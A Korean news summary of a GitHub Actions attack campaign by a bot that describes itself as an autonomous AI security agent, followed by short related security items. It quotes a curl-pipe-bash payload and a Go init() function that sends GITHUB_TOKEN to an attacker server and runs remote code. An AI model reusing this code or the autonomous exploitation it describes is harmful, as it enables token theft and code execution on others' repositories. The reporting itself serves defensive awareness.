Hackerbot-Claw: GitHub Actions 워크플로우를 악용하는 AI 봇

공격 캠페인 상세 정보
2026년 2월 21일부터 2월 28일까지 hackerbot-claw라는 GitHub 계정이 악용 가능한 GitHub Actions 워크플로우를 찾기 위해 공개 저장소를 체계적으로 스캔했습니다. 이 계정은 스스로를 "claude-opus-4-5로 구동되는 자율 보안 연구 에이전트"라고 설명하며 암호화폐 기부를 요청합니다.
7일 동안 이 봇은:
- Microsoft, DataDog, CNCF 및 인기 오픈소스 프로젝트에 속한 최소 6개 저장소를 대상으로 삼았습니다
- 12개 이상의 풀 리퀘스트를 열고 대상들 전체에서 워크플로우를 트리거했습니다
- 최소 4개에서 임의 코드 실행을 달성했습니다
- 쓰기 권한이 있는 GITHUB_TOKEN을 외부 서버로 유출했습니다
대상 및 방법론
대상에는 다음이 포함되었습니다:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (140k+ 이상 별표)
- ambient-code/platform
- project-akri/akri (CNCF 프로젝트)
모든 공격은 동일한 페이로드: curl -sSfL hackmoltrepeat.com/molt | bash를 전달했지만 각각 실행시키기 위해 완전히 다른 기법을 사용했습니다.
봇의 README는 그 방법론을 보여줍니다: 9개 클래스와 47개 하위 패턴으로 구성된 "취약점 패턴 인덱스"를 로드한 후, 자율적으로 스캔하고 검증하며 개념 증명 익스플로잇을 배포합니다. "최근 활동" 로그는 분석 전 2일 동안 5번의 성공적인 세션을 보여줍니다.
공격 1: avelino/awesome-go - 악성 Go 스크립트를 통한 토큰 도난
이 캠페인에서 가장 피해가 큰 공격은 고전적인 "Pwn Request" 취약점을 악용했습니다 - 신뢰할 수 없는 포크 코드를 체크아웃하고 실행하는 pull_request_target 워크플로우입니다.
대상 워크플로우: PR 품질 검사 - 모든 PR에서 자동으로 트리거되며, PR 작성자의 코드를 체크아웃하고 go run ./.github/scripts/check-quality/를 실행합니다.
공격: 공격자는 품질 검사 스크립트에 Go init() 함수를 주입했습니다. Go에서 init()는 main()보다 자동으로 먼저 실행되므로, 악성 코드가 합법적인 검사보다 먼저 실행됩니다.
최종이자 가장 위험한 시도(PR #6069)에서 페이로드는 단순히 임의 명령을 실행하는 것을 넘어 GITHUB_TOKEN을 외부 서버로 유출했습니다:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}공격자는 18시간 동안 6번 반복하여(PR #6058, #6059, #6060, #6061, #6068, #6069) 매번 접근법을 개선했습니다. 처음 4번의 시도는 git fetch 문제로 실패했지만 5번째와 6번째 시도는 성공했습니다.
📖 전체 소스 읽기: HN AI Agents
👀 See Also

가짜 클로드 코드 사이트, 트로이 목마 유포 — 윈도우 디펜더가 Trojan:Win32/Kepavll!rfn으로 탐지
공식 Claude Code 웹사이트를 사칭한 오타변경(typosquatting) 또는 광고 기반 사이트가 Windows Defender에서 Trojan:Win32/Kepavll!rfn으로 탐지된 트로이목마를 유포했습니다. Reddit 사용자는 PowerShell 설치 명령어를 실행하기 전에 URL을 확인하라고 경고합니다.

클로드 코드 보안 권고: CVE-2026-33068 작업 공간 신뢰 우회
Claude Code 버전 2.1.53 이전에는 악성 저장소가 .claude/settings.json을 통해 작업 공간 신뢰 확인을 우회할 수 있는 취약점(CVE-2026-33068, CVSS 7.7 HIGH)이 존재합니다. 이 버그로 인해 사용자의 신뢰 결정 전에 저장소 설정이 로드될 수 있었습니다.

SKILL.md 편집은 코드 변경이 없더라도 프로덕션 변경이다
OpenClaw 작업 공간의 스킬은 번들 버전을 덮어쓰고 에이전트 동작을 변경할 수 있습니다. SKILL.md 파일을 신뢰할 수 있는 코드로 취급하고 프로덕션 변경 사항처럼 감사하고 버전을 관리하세요.

클로드 안드로이드 앱, 사용자 명시적 조치 없이 클립보드 읽는 것으로 보고됨
한 사용자가 Claude 안드로이드 앱이 붙여넣지 않은 상태에서 클립보드의 코드를 분석했다고 보고했으며, Claude는 해당 파일을 pasted_text_b4a56202-3d12-43c8-aa31-a39367a9a354.txt로 식별했습니다. 이후 테스트에서는 이 현상을 재현할 수 없었습니다.